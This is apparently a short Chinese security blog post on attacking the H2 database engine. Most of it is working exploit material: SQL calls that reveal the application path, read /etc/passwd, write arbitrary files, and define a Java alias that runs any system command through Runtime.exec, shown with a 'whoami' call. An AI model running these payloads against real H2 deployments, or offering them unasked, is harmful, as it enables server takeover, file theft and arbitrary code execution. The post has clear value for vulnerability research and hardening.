03月02, 2018

h2database 攻击面

0x00 about

之前在某 src 提交的漏洞,但是当时只局限于通过任意文件读取 getshell.

今天重新看了下官方的手册发现了一个 feature, 可以更方便的 getshell.

0x01 RT*M

通过阅读官方手册发现了几个可利用的 functions.

  1. DATABASE_PATH();
  2. FILE_READ();
  3. FILE_WRITE();

DATABASE_PATH() 就是字面意思,获取数据库文件的存放路径,但是 h2database 可以作为 spring 的内嵌数据库,所以可以直接获取应用路径了,对我们写 shell 有极大的帮助。

CALL DATABASE_PATH();

接着就是FILE_READ()可以读取任意文件,当然这需要数据库的admin权限。

SELECT FILE_READ('/etc/passwd', NULL) content;

FIEL_WRITE() 则是任意文件写了,也需要具备admin权限。

SELECT FILE_WRITE('Hello world', '/tmp/hello.txt')) LEN;

当然还有一种更简便的方法可以直接执行任意代码。

User-Defined Functions and Stored Procedures

用户可以 source code 自定义function。

CREATE ALIAS NEXT_PRIME AS $$
String nextPrime(String value) {
    return new BigInteger(value).nextProbablePrime().toString();
}
$$;

0x02 exploit

先通过自定义 function 执行代码吧,利用方式也就是直接在$$定界符中写上java代码,可以参考一些执行命令的小马进行编写。

CREATE ALIAS RUN_COMMAND AS $$
import java.io.*;
@CODE
String Exec(String cmd) throws Exception {
    String output = "";
    String s = null;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null) {
        output += s;
    }
    return output;
}
$$;

alt

创建完成之后,直接select那个function就可以运行命令。

SELECT RUN_COMMAND('whoami');

alt

本文链接:https://lazydog.me/post/h2database_attack_surface.html

-- EOF --

Comments